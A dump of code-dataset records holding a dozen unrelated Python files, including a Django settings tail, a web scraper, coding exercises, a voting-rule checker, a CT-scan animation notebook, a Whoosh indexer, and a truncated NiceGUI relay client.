'debug_toolbar.panels.request.RequestPanel',\n 'debug_toolbar.panels.sql.SQLPanel',\n 'debug_toolbar.panels.staticfiles.StaticFilesPanel',\n 'debug_toolbar.panels.templates.TemplatesPanel',\n 'debug_toolbar.panels.cache.CachePanel',\n 'debug_toolbar.panels.signals.SignalsPanel',\n 'debug_toolbar.panels.logging.LoggingPanel',\n)\n\nDEBUG_TOOLBAR_CONFIG = {\n 'JQUERY_URL': '/static/js/vendor/jquery.js', # Enables offline work\n 'SHOW_COLLAPSED': True\n}\n\n# Must default to false; usually overridden in local_settings\nENABLE_DEBUG_TOOLBAR = False\n\n# That said provide a flag to turn it on in Heroku\nif 'DEBUG_TOOLBAR' in os.environ and bool(int(os.environ['DEBUG_TOOLBAR'])):\n ENABLE_DEBUG_TOOLBAR = True\n MIDDLEWARE += ['debug_toolbar.middleware.DebugToolbarMiddleware',]\n INSTALLED_APPS += ('debug_toolbar',)\n # Override check for internal IPs (and DEBUG=1) on Heroku\n DEBUG_TOOLBAR_CONFIG['SHOW_TOOLBAR_CALLBACK'] = 'settings.show_toolbar'\n\n\ndef show_toolbar(request):\n return request.user.is_staff\n\n# ==============================================================================\n# Local Overrides and Docker\n# ==============================================================================\n\n# Hide league-related configuration options unless explicitly enabled\nLEAGUE = bool(int(os.environ['LEAGUE'])) if 'LEAGUE' in os.environ else False\n\nif os.environ.get('IN_DOCKER', '') and bool(int(os.environ['IN_DOCKER'])):\n DEBUG = True # Just to be sure\n ALLOWED_HOSTS = [\"*\"]\n DATABASES = {\n 'default': {\n 'ENGINE': 'django.db.backends.postgresql',\n 'NAME': 'tabbycat',\n 'USER': 'tabbycat',\n 'PASSWORD': 'tabbycat',\n 'HOST': 'db',\n 'PORT': 5432, # Non-standard to prevent collisions\n }\n }\nelse:\n try:\n LOCAL_SETTINGS\n except NameError:\n try:\n from local_settings import * # noqa\n except ImportError:\n pass\n","repo_name":"jacksison/jujmpa","sub_path":"tabbycat/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":14734,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"3966132538","text":"# ====================================================================================\n# Interpreter: Python 3.6.1\n# Test platform: Mac OS X\n#\n# Author: Zhu Deng\n# Website: http://zhudeng.top\n# Contact Email: zhudeng94@gmail.com\n# Created: 2020 08 10 13:09\n# ====================================================================================\n\nimport requests\nimport pandas as pd\nfrom bs4 import BeautifulSoup\nfrom tqdm import tqdm\nimport time\nimport csv\nimport threading\n\ndef getCountryLinks():\n url = 'https://www.industryabout.com/country-territories-3'\n res = requests.get(url)\n soup = BeautifulSoup(res.content.decode())\n div = soup.find('div', attrs={'class': 'category-list'})\n countryLinks = []\n for a in div.find_all('a'):\n countryLinks.append(a['href'])\n return countryLinks\n\n\ndef getCountryIndustryLinks(countryLink):\n url = 'https://www.industryabout.com' + countryLink\n res = requests.get(url)\n soup = BeautifulSoup(res.content.decode())\n div = soup.find('div', attrs={'class': 'cat-children'})\n countryCategoryLinks = []\n for a in div.find_all('a'):\n countryCategoryLinks.append(a['href'])\n countryIndustryLinks = []\n for countryCategoryLink in tqdm(countryCategoryLinks):\n while True:\n try:\n url = 'https://www.industryabout.com' + countryCategoryLink\n res = requests.get(url)\n soup = BeautifulSoup(res.content.decode())\n for a in soup.table.find_all('a'):\n if (a['href'] == '#') or (a['href'] in countryLinks):\n continue\n countryIndustryLinks.append(a['href'])\n break\n except:\n time.sleep(20)\n\n time.sleep(5)\n return countryIndustryLinks\n\n\ndef getIndustryDetail(industryLink):\n while True:\n try:\n url = 'https://www.industryabout.com' + industryLink\n res = requests.get(url)\n soup = BeautifulSoup(res.content.decode())\n name = soup.find('h2', itemprop='name').text.strip()\n country = soup.find('dd', attrs={'class', 'parent-category-name'}).find('a').text\n category = soup.find('dd', attrs={'class', 'category-name'}).find('a').text\n body = []\n for s in soup.find('div', itemprop='articleBody').find_all('strong'):\n body.append(s.text)\n if 'Coordinates' in s.text:\n coord = s.text.split(' ')[1].split(',')\n data = [name, country, category, coord, body]\n with open(\"all.csv\", 'a', newline='', encoding='utf-8') as t:\n writer = csv.writer(t)\n writer.writerow(data)\n break\n except:\n time.sleep(20)\n\n\n# countryLinks = getCountryLinks()\n# pd.DataFrame(countryLinks).to_csv('countryList.csv', index=False, header=False)\n# countryLinks = pd.read_csv('countryList.csv', header=None)\n# flag = 0\n# for countryLink in tqdm(countryLinks[0]):\n# countryIndustryLinks = getCountryIndustryLinks(countryLink)\n# if flag:\n# pd.DataFrame(countryIndustryLinks).to_csv('countryIndustryLinks.csv', index=False, header=False)\n# flag = 0\n# else:\n# pd.DataFrame(countryIndustryLinks).to_csv('countryIndustryLinks.csv', mode='a', index=False, header=False)\nindustryLinks = pd.read_csv('countryIndustryLinks.csv', header=None)\n# for industryLink in tqdm(industryLinks[0]):\n# getIndustryDetail(industryLink)\n\nthreads = [threading.Thread(target=getIndustryDetail, args=(idx,)) for idx in industryLinks[0]]\n\nfor thread in threads:\n thread.start()\n while True:\n if len(threading.enumerate()) <= 200:\n break\n","repo_name":"zhudeng94/IndustryAbout","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3885,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"2973812914","text":"with open('Day1.txt', 'r') as f:\n data = f.readlines()\n\n#calories = 0\ncalories = []\n\n\ndef part1(data):\n global calories\n var = 0\n for line in data:\n if line == \"\\n\":\n if var > calories:\n calories = var\n var = 0\n else:\n var = 0\n else:\n var += int(line.strip())\n\ndef part2(data):\n global calories\n var = 0\n\n for line in data:\n if line == \"\\n\":\n calories.append(var)\n var = 0\n else:\n var += int(line.strip())\n calories.append(var)\n \n calories.sort(reverse = True)\n print(calories)\n #print(calories[:3])\n print(sum(calories[:3]))\n\n\nif __name__ == '__main__':\n #part1(data)\n part2(data)\n #print(calories)","repo_name":"tomasmach/AdventFiesta","sub_path":"2022/Day1.py","file_name":"Day1.py","file_ext":"py","file_size_in_byte":786,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"27066117395","text":"class Car:\n def __init__(self, name, max_speed):\n self.name = name\n self.max_speed = max_speed\n def start(self):\n print('Vroom!')\n def talk(self, driver):\n print(f'Hello, {driver}, I am {self.name}.')\n\n# Define a race constructor with attributes of name and driver_limit\nclass Race:\n def __init__(self, name, driver_limit):\n # define attributes as instances\n self.name = name\n self.driver_limit = driver_limit\n # leave drivers instantiation an empty list\n self.drivers = []\n\n # added methods to Race class\n def add_driver(self, driver):\n # If the number of drivers already assigned to the race does\n # not exceed the driver_limit, it should add a driver to the\n # drivers list.\n if len(self.drivers) < self.driver.limit:\n self.drivers.append(driver)\n return True\n return False\n\n def get_average_ranking(self):\n rank = 0\n for driver in self.drivers:\n rank += driver.get_ranking()\n return rank/ len(self.drivers)\n\nclass Driver:\n # static attribute\n number_of_drivers = 0\n # constructor with attributes\n def __init__(self, name, age, ranking):\n self.name = name\n self.age = age\n self.ranking = ranking\n # increment the number of drivers by one each\n # time an instance of the class is instantiated\n Driver.number_of_drivers += 1\n\n# test Car class\nmyCar = Car('Kitt', 180)\n\nmyOtherCar = Car('Speedy', 55)\n\nmyCar.talk('Michael')\n\n# defines a course\ncourse = Race('Seattle 500', 4)\n\n\n# adds drivers\ndriver1 = Driver('Dale Earnhardt', 29, 100)\ndriver2 = Driver('Lewis Hamilton', 36, 83)\ndriver3 = Driver('Eliud Kipchoge', 36, 95)\ndriver4 = Driver('Sebastian Vettel', 34, 76)\ndriver5 = Driver('Ayrton Senna', 34, 99)\n\n# add drivers to the course\ncourse.add_driver(driver1)\ncourse.add_driver(driver2)\ncourse.add_driver(driver3)\ncourse.add_driver(driver4)\ncourse.add_driver(driver5)\nprint(course.get_average_ranking())","repo_name":"kleells/python_fun","sub_path":"Mod_3/activity_1.py","file_name":"activity_1.py","file_ext":"py","file_size_in_byte":2035,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"21009445210","text":"\"\"\"\n 0. Create a directory whose name is sys.argv[1].\n 1. Create a \"pip-install\" script that uses this directory as prefix.\n 2. Set PYTHONPATH to use this prefix, via VSO variable.\n\"\"\"\n\nimport os\nfrom pathlib import Path\nimport sys\nimport typing\n\nprefix = Path(sys.argv[1])\nprefix.mkdir(parents=True, exist_ok=True)\nprefix = prefix.resolve()\n\nif sys.platform == 'win32':\n # Do not use CMD script. It will magically stop pipeline step.\n script = f'python -m pip install --prefix {prefix} --no-compile --prefer-binary $args'\n Path('pip-install.ps1').write_text(script + '\\n')\nelse:\n script = f'python -m pip install --prefix {prefix} --no-compile --prefer-binary \"$@\"'\n Path('pip-install').write_text('#!/bin/bash\\n' + script + '\\n')\n os.chmod('pip-install', 0o775)\n\nif sys.platform == 'win32':\n site_path = prefix / 'Lib/site-packages'\nelse:\n version = f'{sys.version_info.major}.{sys.version_info.minor}'\n site_path = prefix / f'lib/python{version}/site-packages'\npaths = [\n Path(typing.__file__).parent, # With PYTHONPATH, the backport version of typing will mask stdlib version.\n site_path,\n os.getenv('PYTHONPATH'),\n]\npath = os.pathsep.join(str(p) for p in paths if p)\n\nprint('PYTHONPATH:', path)\nprint('##vso[task.setvariable variable=PYTHONPATH]' + path)\n","repo_name":"microsoft/nni","sub_path":"test/vso_tools/pip_use_prefix.py","file_name":"pip_use_prefix.py","file_ext":"py","file_size_in_byte":1297,"program_lang":"python","lang":"en","doc_type":"code","stars":13409,"dataset":"github-code","pt":"7"} +{"seq_id":"22513685230","text":"from flask_login import UserMixin , LoginManager\nfrom bson.objectid import ObjectId \nfrom flask import Flask\nfrom app.config import DevelopmentConfig\n\napp=Flask(__name__)\n\nlogin_mgr = LoginManager(app)\nlogin_mgr.login_view = '/'\nlogin_mgr.login_message = 'You need to be logged in to access the page'\n \nclass User(UserMixin):\n def __init__(self, user_json):\n if user_json is not None:\n self.id = user_json['_id']\n self.username = user_json['username']\n self.email = user_json['email']\n self.mobile = user_json['mobile']\n self.role = user_json['role']\n self.dept = user_json['department']\n self.supervisor = user_json['supervisor']\n\t\t\n\t# Overriding get_id is required if you don't have the id property\n\t# Check the source code for UserMixin for details\n \n def get_id(self):\n object_id = self.id\n return str(object_id)\n\n@login_mgr.user_loader\ndef load_user(user_id):\n users = DevelopmentConfig.mongo.db.users\n user_json = users.find_one({'_id': ObjectId(user_id)})\n return User(user_json) ","repo_name":"udit179/Python-Flask-Project-Structure","sub_path":"app/users/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1152,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"71726083105","text":"from preflib_utils import read_preflib_soc\r\nfrom voting_utils import *\r\nimport numpy as np\r\nimport os\r\n\r\n# def lexicographic_tiebreaking(winners):\r\n# return winners[0]\r\n\r\nnaive_dfs_witness_is_found = False\r\n\r\ndef naive_dfs(depth, k, votes, mask, b, a, r, tiebreaking):\r\n '''\r\n Description:\r\n Check whether the preference profile satisfies GP-r-k or not\r\n NOTE: stack overflow will happen if n or k is very large\r\n Parameters:\r\n depth : the current index of votes array to be removed potentially\r\n votes: preference profile with n voters and m alternatives\r\n mask: the masked array of votes array\r\n b : the target winner\r\n a : the original winner\r\n k : the number of votes need to be removed\r\n r : the voting rule applied\r\n Output:\r\n None, but I use global variable (naive_dfs_witness_is_found) here\r\n '''\r\n global naive_dfs_witness_is_found\r\n if k == 0:\r\n c, tmp_score = r(votes[mask])\r\n if tiebreaking(votes[mask],c) == b:\r\n naive_dfs_witness_is_found = True\r\n return\r\n if depth == len(votes):\r\n return\r\n\r\n if votes[depth].tolist().index(b) < votes[depth].tolist().index(a):\r\n mask[depth] = False\r\n naive_dfs(depth + 1, k - 1, votes, mask, b, a, r, tiebreaking)\r\n if naive_dfs_witness_is_found is True:\r\n # print(mask)\r\n return\r\n mask[depth] = True\r\n naive_dfs(depth + 1, k, votes, mask, b, a, r, tiebreaking)\r\n\r\ndef brute_force(m, n, n_votes, n_unique, votes, anon_votes, r, tiebreaking, verbose=True):\r\n global naive_dfs_witness_is_found\r\n a, score = r(votes)\r\n a = tiebreaking(votes, a)\r\n for k in range(1, n):\r\n for b in range(m):\r\n if b == a:\r\n continue\r\n mask = np.ones(votes.shape[0], dtype = np.bool)\r\n naive_dfs_witness_is_found = False\r\n naive_dfs(0, k, votes, mask, b, a, r, tiebreaking)\r\n\r\n if naive_dfs_witness_is_found is True:\r\n if(verbose):\r\n print(\"GP not satisfied for {} and {}! k = {} and b = {}\".format(r.__name__, tiebreaking.__name__,k, b))\r\n break\r\n if naive_dfs_witness_is_found is True:\r\n break\r\n return naive_dfs_witness_is_found\r\n\r\ndef main():\r\n cnt = 0\r\n tot = 0\r\n for root, dirs, files in os.walk(\"./dataset/\"):\r\n for file in files:\r\n if \"ED-00004\" in file:\r\n continue\r\n tot += 1\r\n m, n, n_votes, n_unique, votes, anon_votes = read_preflib_soc(\"./dataset/\" + file)\r\n assert n == n_votes\r\n print(file)\r\n if brute_force(m, n, n_votes, n_unique, votes, anon_votes, Copeland_winner,\r\n lexicographic_tiebreaking) is True:\r\n cnt += 1\r\n print(cnt, tot, cnt / tot)\r\n\r\nif __name__ == \"__main__\":\r\n main()","repo_name":"farhadmohsin/AxiomVerification","sub_path":"bruteforce.py","file_name":"bruteforce.py","file_ext":"py","file_size_in_byte":2913,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"36246573831","text":"import os\nimport shutil\nimport subprocess\nimport numpy as np\nfrom pslolviz import *\n\nclass Pslolviz:\n def __init__(self, name, array):\n self.name = name\n self.array = array\n self.frame_count = 0\n\n self.rm_rf(name)\n\n prefix = name + '/' + 'png' + '/'\n self.mkdir_p(prefix)\n\n prefix = name + '/' + 'png_for_video' + '/'\n self.mkdir_p(prefix)\n\n def save2DArray2Img(self, idx_row, idx_col):\n # name, array, frame_count,\n self.frame_count += 1\n self.save2DArray2ImgInternal(self.name, self.array, 'png', self.frame_count, idx_row, idx_col)\n self.save2DArray2ImgInternal(self.name, self.array, 'png_for_video', self.frame_count, idx_row, idx_col)\n\n def save2DArray2ImgInternal(self, name, array, image_purpose, frame_count, idx_row, idx_col):\n cnt_row = len(array)\n cnt_col = len(array[0])\n max_digits = max(self.getDigits(cnt_row), self.getDigits(cnt_col))\n # digits = 1\n # %01d\n # digits = 2\n # %02d\n\n prefix = name + '/' + image_purpose + '/'\n self.mkdir_p(prefix)\n filename = ''\n\n if image_purpose == 'png':\n filename_format = prefix\n number_format = '%0' + str(max_digits) + 'd'\n filename_format += number_format + 'x' +number_format # for both row count and column count\n filename_format += '_' + number_format + 'x' + number_format # for both row index and column index\n # filename = './dp_' + str(cnt_row) + 'x' + str(cnt_col) + '_' + str(idx_row) + 'x' + str(idx_col)\n filename = filename_format % (cnt_row, cnt_col, idx_row, idx_col)\n elif image_purpose == 'png_for_video':\n filename_format = prefix\n number_format = '%0' + '9' + 'd'\n filename_format += number_format\n filename = filename_format % (frame_count)\n\n filename_dot = filename + '.dot'\n\n g = matrixviz(array, idx_row, idx_col)\n g.render(format='png', filename=filename_dot)\n\n def generate_video(self):\n # 'ffmpeg -r 1 -i dp_%d.dot.png output.mp4'\n # prefix = name + '/' + 'png_for_video' + '/'\n image_path = self.name + '/' + 'png_for_video' + '/%09d.dot.png'\n output_filename = self.name + '.mp4'\n\n # self.rm_rf(output_filename)\n\n try:\n os.remove(output_filename)\n except: # 예외가 발생했을 때 실행됨\n print('except ' + output_filename)\n\n cmds = ['ffmpeg.exe', '-y', '-r', '1', '-i', image_path, output_filename]\n\n try:\n subprocess.check_call(cmds)\n except: # 예외가 발생했을 때 실행됨\n print('except ' + 'ffmpeg.exe')\n\n\n def mkdir_p(self, path):\n \"\"\"Creates a directory recursively.\"\"\"\n if not os.path.exists(path):\n os.makedirs(path)\n\n def rm_rf(self, path):\n # check if directory exists\n if os.path.exists(path):\n # remove directory and all its contents\n shutil.rmtree(path)\n\n def getDigits(self, num):\n digits = 1\n\n # reminder가 10보다 작을 때 까지\n remainder = num\n\n while remainder > 10:\n remainder = num % 10\n digits += 1\n\n return digits\n\nclass Solution:\n def uniquePaths(self, m: int, n: int) -> int:\n dp = [[0 for _ in range(n + 1)] for _ in range(m + 1)]\n dp[1][1] = 1\n\n for idx_row in range(1, m + 1):\n for idx_col in range(1, n + 1):\n dp[idx_row][idx_col] += (dp[idx_row - 1][idx_col] + dp[idx_row][idx_col - 1])\n\n return dp[m][n]\n\n\n def uniquePaths_dump_dp(self, m: int, n: int) -> int:\n # dp = [ [0 for _ in range(n +1)] for _ in range(m +1)]\n\n dp = np.zeros((m +1, n +1), dtype=int)\n pslolviz: Pslolviz = Pslolviz('dp', dp)\n\n dp[1][1] = 1\n\n for idx_row in range(1, m +1):\n for idx_col in range(1, n+1):\n dp[idx_row][idx_col] += (dp[idx_row -1][idx_col] + dp[idx_row][idx_col -1])\n pslolviz.save2DArray2Img(idx_row, idx_col)\n\n pslolviz.generate_video()\n\n return dp[m][n]\n\n","repo_name":"skysign/WSAPT","sub_path":"leetcode.com 62. Unique Paths/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4188,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"78"} +{"seq_id":"71050226491","text":"import os\n\nfrom collections import defaultdict\n\nimport numpy as np\n\nimport pandas as pd\n\n\n\nimport matplotlib\n\nimport matplotlib.pyplot as plt\n\nimport seaborn as sns\n\n\n\nimport plotly.express as px\n\nimport plotly.graph_objects as go\n\nfrom plotly.subplots import make_subplots\n\nfrom plotly.offline import download_plotlyjs, init_notebook_mode, plot, iplot\n\nfrom plotly import figure_factory as FF\n\n\n\nimport scipy.ndimage\n\nfrom skimage import measure, morphology\n\nfrom mpl_toolkits.mplot3d.art3d import Poly3DCollection\n\n\n\nimport random\n\nimport pydicom\n\n\n\nINPUT_DIR = '/kaggle/input/osic-pulmonary-fibrosis-progression'\n\n\n\ntrainset = pd.read_csv(f'{INPUT_DIR}/train.csv')\n\ntestset = pd.read_csv(f'{INPUT_DIR}/test.csv')\n\nsample_sub = pd.read_csv(f'{INPUT_DIR}/sample_submission.csv')\n\n\n\ndef load_scan(path):\n\n slices = [pydicom.read_file(path + '/' + s) for s in os.listdir(path)]\n\n slices.sort(key = lambda x: float(x.ImagePositionPatient[2]))\n\n \n\n return slices\n\n\n\ndef dicom_file(idx_num, patient_id=None):\n\n if patient_id:\n\n return load_scan(dicom_dict[patient_id][0])\n\n return load_scan(dicom_dict[p_id[idx_num]][0])\n\n\n\ndef get_pixels_hu(slices):\n\n image = np.stack([s.pixel_array for s in slices])\n\n # Convert to int16 (from sometimes int16), \n\n # should be possible as values should always be low enough (<32k)\n\n image = image.astype(np.int16)\n\n\n\n # Set outside-of-scan pixels to 0\n\n # The intercept is usually -1024, so air is approximately 0\n\n image[image == -2000] = 0\n\n \n\n # Convert to Hounsfield units (HU)\n\n for slice_number in range(len(slices)):\n\n \n\n intercept = slices[slice_number].RescaleIntercept\n\n slope = slices[slice_number].RescaleSlope\n\n \n\n if slope != 1:\n\n image[slice_number] = slope * image[slice_number].astype(np.float64)\n\n image[slbice_number] = image[slice_number].astype(np.int16)\n\n \n\n image[slice_number] += np.int16(intercept)\n\n \n\n return np.array(image, dtype=np.int16)\n\n\n\n\n\ndef resample(image, scan, new_spacing=[1,1,1]):\n\n # Determine current pixel spacing\n\n spacing = np.array([scan[0].SliceThickness, scan[0].PixelSpacing[0], scan[0].PixelSpacing[1]], dtype=np.float32)\n\n\n\n resize_factor = spacing / new_spacing\n\n new_real_shape = image.shape * resize_factor\n\n new_shape = np.round(new_real_shape)\n\n real_resize_factor = new_shape / image.shape\n\n new_spacing = spacing / real_resize_factor\n\n \n\n image = scipy.ndimage.interpolation.zoom(image, real_resize_factor, mode='nearest')\n\n \n\n return image, new_spacing\n\n\n\ndef load_scan(path):\n\n slices = [pydicom.read_file(path + '/' + s) for s in os.listdir(path)]\n\n slices.sort(key = lambda x: float(x.ImagePositionPatient[2]))\n\n \n\n return slices\n\n\n\ndef dicom_file(idx_num, patient_id=None):\n\n if patient_id:\n\n return load_scan(dicom_dict[patient_id][0])\n\n return load_scan(dicom_dict[p_id[idx_num]][0])\n\n\n\ndef get_pixels_hu(slices):\n\n image = np.stack([s.pixel_array for s in slices])\n\n # Convert to int16 (from sometimes int16), \n\n # should be possible as values should always be low enough (<32k)\n\n image = image.astype(np.int16)\n\n\n\n # Set outside-of-scan pixels to 0\n\n # The intercept is usually -1024, so air is approximately 0\n\n image[image == -2000] = 0\n\n \n\n # Convert to Hounsfield units (HU)\n\n for slice_number in range(len(slices)):\n\n \n\n intercept = slices[slice_number].RescaleIntercept\n\n slope = slices[slice_number].RescaleSlope\n\n \n\n if slope != 1:\n\n image[slice_number] = slope * image[slice_number].astype(np.float64)\n\n image[slbice_number] = image[slice_number].astype(np.int16)\n\n \n\n image[slice_number] += np.int16(intercept)\n\n \n\n return np.array(image, dtype=np.int16)\n\n\n\ndef make_mesh(image, threshold):\n\n p = image.transpose(2, 1, 0)\n\n \n\n verts, faces, normals, values = measure.marching_cubes_lewiner(p, threshold)\n\n return verts, faces\n\n\n\ndef static_3d(image, threshold=-300, angle=0):\n\n \n\n fig = plt.figure(figsize=(10, 10))\n\n ax = fig.add_subplot(111, projection='3d')\n\n \n\n verts, faces = make_mesh(image, threshold)\n\n x, y, z = zip(*verts)\n\n \n\n mesh = Poly3DCollection(verts[faces], alpha=0.1)\n\n face_color = [0.5, 0.5, 1]\n\n mesh.set_facecolor(face_color)\n\n \n\n ax.add_collection3d(mesh)\n\n ax.set_xlim(0, max(x))\n\n ax.set_ylim(0, max(y))\n\n ax.set_zlim(0, max(z))\n\n return ax,\n\n\n\nDICOM_DIR = '/kaggle/input/osic-pulmonary-fibrosis-progression/train'\n\n\n\ndicom_dict = defaultdict(list)\n\n\n\n\n\nfor dirname in os.listdir(DICOM_DIR):\n\n path = os.path.join(DICOM_DIR, dirname)\n\n dicom_dict[dirname].append(path)\n\n \n\np_id = sorted(trainset['Patient'].unique())\n\n\n\ntest2 = dicom_file(40)\n\n\n\ntest2_hu = get_pixels_hu(test2)\n\n\n\nresampled_test2_hu, spacing = resample(test2_hu, test2)\n\n\n\nfrom scipy.ndimage import rotate\n\n\n\nsub = resampled_test2_hu[::5,::5,::5]\n\n\n\nfrom matplotlib import animation\n\n\n\nTHRESHOLD = -300\n\n\n\nfig,_ = plt.subplots(figsize=(11,11))\n\nax = fig.add_subplot(111, projection='3d')\n\n\n\ndef make_mesh(image, threshold):\n\n p = image.transpose(2, 1, 0)\n\n verts, faces, normals, values = measure.marching_cubes_lewiner(p, threshold)\n\n return verts, faces\n\n\n\ndef static_3d(image,ax, angle=0):\n\n global x\n\n global y\n\n global z\n\n \n\n verts, faces = make_mesh(image, THRESHOLD)\n\n x, y, z = zip(*verts)\n\n \n\n mesh = Poly3DCollection(verts[faces], alpha=0.1)\n\n face_color = [0.5, 0.5, 1]\n\n mesh.set_facecolor(face_color)\n\n \n\n #ax.add_collection3d(mesh)\n\n ax.set_xlim(0, max(x))\n\n ax.set_ylim(0, max(y))\n\n ax.set_zlim(0, max(z))\n\n return ax\n\n\n\n\n\n\n\ndef init_time_line(image=sub, axi=ax):\n\n axi = static_3d(image, axi)\n\n return axi\n\n\n\ndef animate_all(angle,axi=ax):\n\n \n\n image = (rotate(sub, angle=angle, axes=(1,2), reshape=False,cval=-1024) )\n\n verts, faces = make_mesh(image, THRESHOLD) \n\n \n\n axi.clear()\n\n mesh = Poly3DCollection(verts[faces], alpha=0.1)\n\n face_color = [0.5, 0.5, 1]\n\n mesh.set_facecolor(face_color)\n\n axi.add_collection3d(mesh)\n\n ax.set_xlim(0, max(x))\n\n ax.set_ylim(0, max(y))\n\n ax.set_zlim(0, max(z))\n\n return axi\n\n\n\nframes = np.arange(0,360, 6)\n\n\n\nanim = animation.FuncAnimation(fig, animate_all, init_func=init_time_line, frames=frames, interval=41, blit=False)\n\n\n\nfrom matplotlib import animation, rc\n\nrc('animation', html='jshtml')\n\nanim","repo_name":"aorursy/new-nb-1","sub_path":"avloss_3d-animation-rotating.py","file_name":"avloss_3d-animation-rotating.py","file_ext":"py","file_size_in_byte":6543,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"6105807019","text":"from collections import deque\n\n# 1번 사람은 1분에\n# 2번 사람은 2분에 베이스캠프에서 출발\n\n# 1단계\n# 격자에 잇는 사람들이 편의점을 향해 1칸 움직임( 최소거리로)\n##\n# 2단계\n# 편의점 도착하면 멈추고, 다른사람은 여기 못지나감\n\n# 편의점과 가장 가까이있는 베이스 캠프 들어감\n\n\n# 5 3\n# 0 0 0 0 0 (1은베이스캠프)\n# 1 0 0 0 1\n# 0 0 0 0 0\n# 0 1 0 0 0\n# 0 0 0 0 1\n# 2 3 ( 각 사람들이 가고자 하는 편의점)\n# 4 4\n# 5 1\n\ndef find_base(ip):\n global v\n dx = [-1, 0, 0, 1]\n dy = [0, -1, 1, 0]\n result=[]\n\n\n\n x,y=conv[ip][0],conv[ip][1]\n\n\n stores=[]\n minNum=1e9\n q=deque()\n q.append((x,y))\n\n visited=[[0]*N for _ in range(N)]\n visited[x][y]=1\n\n stores=[]\n minNums=1e9\n ff=False\n while q:\n\n x,y=q.popleft()\n if board[x][y]==1:\n v[x][y]=True\n return x,y,\n break\n\n for i in range(4):\n nx=x+dx[i]\n ny=y+dy[i]\n\n if 0<=nx None:\n self.indexer = indexer\n\n def add_index(self, f: str, ft: FieldType):\n fi = f'{f}_index'\n with self.indexer.writer() as w:\n w.optimize = True\n w.add_field(fi, ft)\n # 遍历更新所有索引\n with self.indexer.writer() as w:\n with w.reader() as r:\n for i, d in r.iter_docs():\n nd = { 'id': d['id'] }\n nd[fi] = d['data'][f]\n w.update_document(**nd)\n\n def del_index(self, f: str):\n with self.indexer.writer() as w:\n w.optimize = True\n w.remove_field(f)\n\n def optimize(self):\n with self.indexer.writer() as w:\n w.optimize = True\n\n def search(self, text, field='name', pagenum=1, pagelen=30):\n lt = time()\n with self.indexer.searcher() as s:\n qt = time()\n p = QueryParser(f'{field}_index', self.indexer.schema)\n q = p.parse(text)\n st = time()\n rows = s.search_page(q, pagenum, pagelen=pagelen)\n # rows = s.search(q, limit=30)\n et = time()\n rs = [r.get('data') for r in rows]\n ot = time()\n # for r in rs:\n # print(r)\n print(f'l: {qt - lt:.6f}s | q: {st - qt:.6f}s | s: {et - st:.6f}s | o: {ot - et:.6f}s')\n return rs\n\n @staticmethod\n def _new_doc(data):\n return {\n 'id': uuid.uuid1().hex,\n 'data': data,\n }\n \n def _get_indexes(self) -> list:\n names = self.indexer.schema.names()\n indexes = filter(lambda i: i.endswith('_index'), names)\n return [(k, k[:-6]) for k in indexes]\n\n def add_doc(self, data, **argkw):\n '''\n 添加单文档。\n '''\n\n d = self._new_doc(data)\n fs = self._get_indexes()\n with self.indexer.writer() as w:\n for k, v in argkw.items():\n setattr(w, k, v)\n for k, ik in fs:\n if ik in data:\n d[k] = data[ik]\n w.add_document(**d)\n\n def add_docs(self, rows, **argkw):\n '''\n 批量添加文档。\n '''\n \n fs = self._get_indexes()\n with self.indexer.writer() as w:\n for k, v in argkw.items():\n setattr(w, k, v)\n for row in rows:\n d = self._new_doc(row)\n for k, ik in fs:\n if ik in row:\n d[k] = row[ik]\n print(f'd: {d}')\n w.add_document(**d)\n\n\ndef open_collection(name: str) -> DocCollection:\n '''\n 打开文档集,没有则创建。\n '''\n \n p = f'rt/{name}'\n if not os.path.isdir(p):\n os.makedirs(p)\n i = create_in(p, DocRaw())\n return DocCollection(i)\n i = open_dir(p)\n return DocCollection(i)\n\n\ndef test():\n dc = open_collection('iikitt')\n # dc.add_index('key', TEXT())\n # dc.del_index('key')\n for p in glob('rtd/*/*.json'):\n print(f'load {p}')\n r = load_jsondata(p)\n dc.add_docs(r)\n \n\n\nif '__main__' == __name__:\n test()\n","repo_name":"chaosannals/mylog","sub_path":"iikit.py","file_name":"iikit.py","file_ext":"py","file_size_in_byte":3635,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"27615848704","text":"import asyncio\nimport gzip\nimport re\nfrom typing import Any, Dict\n\nimport httpx\nimport socketio\nfrom socketio import AsyncClient\n\nfrom . import background_tasks, globals # pylint: disable=redefined-builtin\nfrom .nicegui import handle_disconnect, handle_event, handle_handshake, handle_javascript_response\n\nRELAY_HOST = 'https://on-air.nicegui.io/'\n\n\nclass Air:\n\n def __init__(self, token: str) -> None:\n self.token = token\n self.relay = AsyncClient()\n self.client = httpx.AsyncClient(app=globals.app)\n self.connecting = False\n\n @self.relay.on('http')\n async def on_http(data: Dict[str, Any]) -> Dict[str, Any]:\n headers: Dict[str, Any] = data['headers']\n headers.update({'Accept-Encoding': 'identity', 'X-Forwarded-Prefix': data['prefix']})\n url = 'http://test' + data['path']\n request = self.client.build_request(\n data['method'],\n url,\n params=data['params'],\n headers=headers,\n content=data['body'],\n )\n response = await self.client.send(request)\n instance_id = data['instance-id']\n content = response.content.replace(\n b'const extraHeaders = {};',\n (f'const extraHeaders = {{ \"fly-force-instance-id\" : \"{instance_id}\" }};').encode(),\n )\n match = re.search(b'const query = ({.*?})', content)\n if match:\n new_js_object = match.group(1).decode().rstrip('}') + \", 'fly_instance_id' : '\" + instance_id + \"'}\"\n content = content.replace(match.group(0), f'const query = {new_js_object}'.encode())\n compressed = gzip.compress(content)\n response.headers.update({'content-encoding': 